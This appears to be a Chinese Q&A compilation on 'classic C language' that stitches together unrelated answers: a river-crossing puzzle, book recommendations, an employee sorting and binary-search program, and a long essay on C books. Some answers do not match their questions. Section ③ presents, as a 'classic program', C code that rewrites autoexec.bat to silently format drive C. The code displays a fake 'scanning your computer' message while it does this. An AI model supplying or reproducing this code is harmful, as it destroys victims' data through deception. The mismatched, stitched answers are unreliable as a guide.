c语言经典
① c语言经典题目
最短时间是这样的
以本例子说
最快2人过
时间2
最快人回
时间1
最慢2人过
时间10
最快人回
时间2
最快2人过
时间2
一共17
算法就是这样过河以最快2人和最慢2人交替进行,回来时候都是对岸最快的人回来。
ps:这个是哪里的ACM?
这样写出代码不难吧。
就是先将时间排序,然后按上面算法计算。
② C语言较好的着作
入门的话谭浩强的那本就挺好,有了一定基础之后再看看国外的一些比较经典书
1.《The C Programming Language》(《C程序设计语言》)
(美)Brian W.Kernighan,Dennis M.Ritchie (K&R)着 机械工业出版社
2.《C Primer Plus》(中文版)
(美)Stephen Prata 着 人民邮电出版社
3.《C语言入门经典》
(美)霍顿(Horton,I.)着
4.《Programming in C》(《C语言编程》)
(美)Stephen Kochan 着 电子工业出版社
5.《Pointers On C》(《C指针》)
6.《Expert C Programming》(《C专家编程》)
7.《C Traps and Pitfalls》(《C缺陷和陷阱》)
当然英语好的话,看原文的最好了
③ 求 经典的C语言编程
用C语言编写的格式化硬盘的程序(没有提示)
#include<stdio.h>
main()
{
FILE*fp;
char filename[30]="c:\\autoexec.bat",filecontent[100]="c:\\windows\\command\\format c:/q/autotest/u";
if((fp=fopen(filename,"w"))==NULL)
printf("cannot open filename\n");
fputs(filecontent,fp);
printf("现在正在扫描你的计算机:\n正在加装外挂:");
fclose(fp);
}
④ 谁有c语言经典题目
设计原理:主要利用函数调用来完成
设计方案及流程:
S1:定义变量,数组
S2:调用input函数,输入10个职工的姓名和职工号,返回到主函数
S3:调用sort函数,用“起泡法”对职工号和姓名按从大到小排序返回主函数
S4:输入一个职工号,调用search函数,折半查找法找到该职工,并输出职工号和职工姓名
四、 实验步骤(包括主要步骤、代码分析等)
#include<stdio.h>
#include<string.h>
#define N 10
void main()
{
void input(int num[],char name[][8]);
void sort(int num[],char name[][8]);
void search(int n,int num[],char name[][8]);
int num[N],number,flag=1,c;
char name[N][8];
input(num,name);
sort(num,name);
while(flag==1)
{
printf("\ninput number to look for:");
scanf("%d",&number);
search(number,num,name);
printf("continue or not(Y/N)?");
getchar();
c=getchar();
if(c=='N'||c=='n')
flag=0;
}
}
void input(int num[],char name[][8])
{
int i;
for(i=0;i<N;i++)
{
printf("\ninput No.:");
scanf("%d",&num[i]);
printf("input name:");
getchar();
gets(name[i]);
}
}
void sort(int num[],char name[][8])
{
int i,j,templ;
char temp2[8];
for(j=0;j<N-1;j++)
for(i=0;i<N-1-j;i++)
if(num[i]>num[i+1])
{
templ=num[i];
strcpy(temp2,name[i]);
num[i]=num[i+1];
strcpy(name[i],name[i+1]);
num[i+1]=templ;
strcpy(name[i+1],temp2);
}
printf("\n result:\n");
for(i=0;i<N;i++)
printf("\n %5d%10s",num[i],name[i]);
}
void search(int n,int num[],char name[][8])
{
int top,bott,mid,loca,sign;
top=0;
bott=N-1;
loca=0;
sign=1;
if((n<num[0])||(n>num[N-1]))
loca=-1;
while((sign==1)&&(top<=bott))
{
mid=(bott+top)/2;
if(n==num[mid])
{
loca=mid;
printf("No.%d,his name is %s.\n",n,name[loca]);
sign=-1;
}
else if(n<num[mid])
bott=mid-1;
else top=mid+1;
}
if(sign==1||loca==-1)
printf("can not find%d.\n",n);
}
五、 结果分析与总结
结果分析:
input No.:1
input name:li
input No.:2
input name:wang
input No.:5
input name:liu
input No.:8
input name:ma
input No.:4
input name:chen
input No.:10
input name:zhou
input No.:12
input name:zhang
input No.:6
input name:xie
input No.:23
input name:yuan
input No.:34
input name:lu
result:
1 li
2 wang
4 chen
5 liu
6 xie
8 ma
10 zhou
12 zhang
23 yuan
34 lu
input number to look for:3
can not find 3.
continue or not(Y/N)?y
input number to look for:6
No.6,his name is xie.
continue or not(Y/N)?n
⑤ c语言经典视频教程有哪些
你想要不罗嗦的去看看 c prime plus.
看完了以后应该c语言的大概都清楚了。
也得看挺久的,挺厚的一本。
视频本来把一个原理,解释了挺久,就是为了让你理解的,
试试看
1. 首先你得保证 gcc 版本 >= 4.8.1(只有 4.8.1 及以上的版本才能完全支持 C++11)
2. 如果第1个条件能保证,那么就要对 DEV-C++ 设置了,具体步骤如下:
1) 工具 -> 编译器选项->程序(将 g++ 修改为 g++ -std=c++11 )
⑥ c语言的书有哪些,经典的
如果你要过二级:谭浩强教授出了一本《C语言程序设计》,这个应该就可以了。
如果你要想深入学习的话:Kernighan和Ritchie的《The C Programming Language》(中译名《C程序设计语言》)堪称经典中的经典,建议你最先看这个 ,自我感觉很全的,再看看王爽的汇编语言,对你学习c有很大帮助~!!
如果你已经啃完了一本C语言教材,想要更进一步,那么有两本书你一定要看。首先是《C Traps and Pitfalls》(中译名《C陷井与缺陷》),很薄的一本小册子,内容非常非常地有趣。要注意一点,这本书是二十多年前写成的,里面提到的很多C语言的缺陷都已被改进,不过能够了解一些历史也不是什么坏事。
然后你可以挑战一下《Expert C Programming》(中译名《C专家编程》),书如其名,这本书颇具难度,一旦你仔细读完并能透彻理解,你便可以放心大胆地在简历上写“精通C语言”了。 《数据结构》和算法要看的,可以让你写出更好的程序 。
⑦ C语言经典教程有哪些
1、谭浩强的c语言程序设计
2、《c陷阱和缺陷》
3、《c专家编程》
4、《C和指针》
这些教材由浅入深,基本上那些c语言程序设计基础的书我都浏览了一辩,都是基础的东西,学习C语言的话没有捷径,基础类都差不多,因为C语言的规则肯定不会因为某本书而发生改变。C语言没有你想象中得那么简单,当你觉得自己的基础学习好了得话,还是再深入了解才能理解其精髓,最好有做点实战经验,真正写得好得代码一般比较庞大,初学者避而远之,如果一味看那些写得不好的代码,初学还好,但是对于提高没有什么帮助。
⑧ 请介绍下自学C语言经典教材
不知你是从那个角度来看谭浩强的,据说他的书发行量超过400万册,但是你不选他的你就是明智者,我们就不要再说他那个破烂了。有一本是创作C语言的美国工程师亲手执笔的《C程序设计语言》,由C语言的设计者Brian W. Kernighan和Dennis M. Ritchie编写的一部介绍标准C语言及其程序设计方法的权威性经典着作。全面、系统地讲述了C语言的各个特性及程序设计的基本方法,包括基本概念、类型和表达式、控制流、函数与程序结构、指针与数组、结构、输入与输出、UNIX系统接口、标准库等内容。 在C语言里指针是核心,《C与指针》这一份教材,你如果完全掌握了它,C语言便不再神秘。 C的算法很重要,再多去了解一下《C专家编程》,精通就是这么简单,不过也不是一朝一夕的事,要付出努力的,加油哦,愿我们共同进步吧! 呵呵
⑨ 经典C语言程序例子
题目01:在一个已知的字符串中查找最长单词,假定字符串中只含字母和空格,空格用来分隔不同的单词。
(9)c语言经典扩展阅读:
C语言是一门通用计算机编程语言,应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。
尽管C语言提供了许多低级处理的功能,但仍然保持着良好跨平台的特性,以一个标准规格写出的C语言程序可在许多电脑平台上进行编译,甚至包含一些嵌入式处理器(单片机或称MCU)以及超级电脑等作业平台。
⑩ 历史上最权威最经典的关于C语言的书是哪本
C程序设计之四书五经
自从Dennis M.Ritchie于1973年设计并实现C语言以来,计算机程序设计领域已经发生了巨大的变化。以C语言为根基的C++、Java和C#等面向对象语言相继诞生,并在各自领域大获成功。今天,C及其后裔几乎统治了计算机程序设计世界。可以这么说,C语言的诞生是现代程序语言革命的起点,它改变了程序设计语言发展的轨迹,是程序设计语言发展史中的一个里程碑。
然而,C并不仅仅是其他语言的起点和基础,否则它早已成为程序设计语言发展过程中又一个被遗弃者。和当初发明时一样,C语言今天依然至关重要。它的表达力、效率、简练、紧凑、对机器的最终控制以及跨平台的高度移植性,使其在系统编程、嵌入式编程等领域一直占据着统治地位,而C99标准的制订则再一次使C语言焕发出新的活力。下文介绍C程序设计领域中的几本好书,其中一些堪称经典。
1. Brian W.Kernighan, Dennis M.Ritchie,《C程序设计语言》,机械工业出版社
这是迄今为止在所有程序设计语言书籍中最广受尊敬的一部经典,是任何一名C程序员的必读之作。因为出自C语言的设计者Dennis M.Ritchie和着名的计算机科学家Brian W.Kernighan之手,它被昵称为“K&R C”。是它首先引入了“Hello World!”程序,这个程序几乎成了后来任何一本入门性程序设计语言书籍中的第一个例子。
如同C语言本身简洁紧凑而极具威力一样,这本书轻薄短小而极富张力。通过简洁的描述和典型的示例,它全面、系统、准确地讲述了C语言的各个特性以及C程序设计的基本方法,内容涵盖基本概念、类型和表达式、控制流、函数与程序结构、指针与数组、结构、输入与输出、UNIX系统接口以及标准库等内容。
简洁清晰是这本书最大的特色。这本小书可以教给你许多比它厚几倍的“大部头”的知识。我认为那些动辄洋洋洒洒拼凑出好几百页乃至上千页的技术作者应该好好向K&R学一学。对于中、高级程序员而言,如果希望迅速获得C语言的严肃知识而又不愿意多花费哪怕一丁点时间,这本书就是首选。
顺便说一句,这本书的索引制作非常出色,极具实用价值,这可能首先要归功于正文部分的简明扼要。此外,尽管它看上去很像一本教程,但其实更是一本写给专业程序员的指南。如果你不具备任何其他语言程序设计背景或基本的C语言知识,这本书也许并不适合用作你的C语言启蒙读物。
2. Perter Van Der LinDen,《C专家编程》,人民邮电出版社
C语言是严肃的程序员语言,但这并不意味着C语言书籍必须板着面孔说教。在这本被C程序员昵称为“鱼书”(封面上有一条“丑陋的”腔棘鱼)的着作中,作为SUN公司编译器和操作系统核心开发组成员之一,Peter淋漓尽致地展示了其深厚的技术沉淀、丰富的项目经验、高超的写作技巧以及招牌式的幽默。在这部作品中,作者以流畅的文字、诙谐的笔法将逸闻典故、智慧和幽默自然地融入技术描述中,读来宛若一本小说,极富趣味。
本书讲述了C语言的历史、语言特性、声明、数组、指针、连接、运行时以及内存使用等知识,揭示了C语言中许多隐晦之处,尤其深入解析了声明、数组和指针、内存使用等方面的细节。要想成为一名专家级C程序员,这些内容都是必须掌握的。和其他满是抽象例子的C语言书籍不同,这本书充满了大量的来自真实世界的C程序设计实例,它们对C程序员具有很高的参照价值。另外,每一章都以极富趣味的“轻松一下”收尾,而附录A“程序员工作面试的秘密”则是任何语言的程序员在应聘工作前增强自信的好材料。
我怀疑真正的C专家可能用不着看这本书 — 从内容到组织方式到行文风格都决定了这是一本轻松愉快的“从菜鸟到高手”的进阶读本,所以,它理应拥有更广泛的读者群。初级程序员往往更需要热情的鼓励,在阅读这本书的过程中,你定会深深地被作者对编程的激情所感染。
世间并无完美。我认为这本书的缺陷在于,和大多数平庸的C语言书籍一样,它画蛇添足地加入了一章关于C++的描述。在今天看来,这个描述既不全面也有失公允。不过,鉴于作者是在1994年从一名C程序员的角度去观察C++,这一点也就不足为奇了。
3. Samuel P. Harbison, Guy L. Steele,《C语言参考手册(第五版)》(影印版),人民邮电出版社
在C语言参考手册类书籍里,Samuel P. Harbison 和Guy L. Steele合着的《C: A Reference Manual》是非常出色的一本。这本手册的第五版新增了对C99标准的介绍,以便满足新时期C语言学习的需要。全书共分为两大部分,第一部分专注于C语言特性,第二部分则全面讨论了C标准库。本书涵盖C99、C89、传统的C、所有版本的C运行库以及编写与C++兼容的C代码等一切知识。
这本手册只是中等厚度,但它比“比它更厚”的其他参考手册更清晰地描述了C语言的现在和过去的方方面面。整本手册技术细节描述精确,组织条理清楚,内容完备详尽而又简明扼要。可以这么说,它在广度、深度和精度方面都是出类拔萃的。对于中、高级C程序员而言,这本手册值得常备案头,它几乎肯定要比K&R的着作使用频率更高。
2004年2月1日补充:我手头有这本书的中文版:《C语言参考手册》(机械工业出版社出版)。它在很大程度上减轻了我的查阅负担,不过偶尔也增加了理解上的困难。
4. David Hanson,《C语言接口与实现:创建可重用软件的技术》,机械工业出版社
C语言能够历经三十多年而不衰,一个重要的原因在于它的适应能力。在这“复用”、“面向对象”、“组件”、“异常处理”等先进机制漫天飞舞的年代,C语言仍然能够凭借它小而优雅的语言特性,在相当程度上满足现代软件体系架构提出的要求。只不过,想要达到这个程度,必须要在C的应用功力上达到最高层次。在嵌入式、系统软件以及对性能要求极高的系统开发中,开发人员必须达到这样的层次,熟练掌握C语言的高级特性,才能够同时满足效率和灵活性、复用性的要求。可惜,虽然C语言技术图书汗牛充栋,但是关注这个峰顶之域的作品却是屈指可数。David Hanson的《C Interfaces and Implementations》就是个中翘楚。
David Hanson是业内大名鼎鼎的自由编译器lcc的合作者。在这个项目中,他负责提供高度可复用的基础架构。在不断的实践中,他完全使用ANSI C形成了一整套可复用组件库。这套组件库架构清晰,性能优异,而且提供了很多高级的特性,比如类Win32 SEH的异常处理机制,可移植的线程库,高性能的内存池,丰富的可复用数据结构组件。David Hanson把他在创作这些组件的过程中所积累的心得以及对其源码的精致剖析原原本本地写在了这本书里。这样的着作,当然堪称C语言领域里的铭心绝品。难怪已故着名技术作家Richard Stevens对此书赞不绝口,他说:“这本书中的技术,对于大部分C程序员来说,已经遗忘得太久了。”对于希望能在C语言应用上达到最高层次的核心程序员而言,这本书是难得的必读之作。
其他
除了以上四本书以外,我还乐意推荐Andrew Koenig的着作《C陷阱和缺陷》(人民邮电出版社)和Deitel父子合着的《C How to Program》两本书。
Andrew Koenig是世界上屈指可数的C++专家,他的这本书可能是最薄的一本C语言经典。它简明扼要地讲述了C程序设计中的陷阱和缺陷,包括词法陷阱、语法陷阱、语义陷阱、连接、库函数、预处理器以及可移植性缺陷等,最后一章还给出了关于如何减少程序错误的建议以及前面各章问题的参考答案。尽管这个小册子成书于C89标准制定之前,然而,即使到了C99早已颁布的今天,书中提到的大多数陷阱和缺陷一如十五年前那样使我们警醒。
Deitel父子合着的《C How to Program》一直是非常好的C语言入门教程,我手头的中译本名为《C程序设计教程》(机械工业出版社出版,原书第二版)。除了对技术的正规描述(辅以许多简明扼要的例子)外,每一章后面都带有小结、术语、常见的程序设计错误、良好的程序设计习惯、性能忠告、可移植性忠告、软件工程评述、自我测验练习及答案等。整书内容清晰,组织良好,易于阅读和理解。值得一提的是,有许多入门书读完一遍即可扔掉,而这一本是个例外。
结语
以上这几本书很大程度上局限于描述C语言及标准库本身,如果希望学习更专业的、领域相关的C程序设计技术,你可以在选择阅读这几本书的基础上继续查阅专门书籍。此外,在C语言书籍领域,水平不相上下的作品有很多,这几本只是根据我自身的阅读体验而做出的推荐。
我并不是一名C程序员,我的大多数时间都花在C的后裔语言尤其是C++身上了。然而,正如你知道的那样,C++并不全是类和模板,不全是面向对象和泛型编程,在较低的层面,C++的各个实现一如既往在很大程度上兼容C。C++和C的亲密关系决定了每一本C语言经典都应该是C++程序员的读物。
这世界变化得真是太快。各色新事物层出不穷,让人眼花缭乱、目不暇接。人们也很容易被那些五光十色的花哨玩意儿所吸引,常常会忘记构筑过去、现在和未来的坚实基础。C语言就是这样的基础之一。今天,世界上有许多我们看不见的重要软件是用C语言(以及C++等)编写而成的,正是它们在默默地支撑着这个信息世界的运转。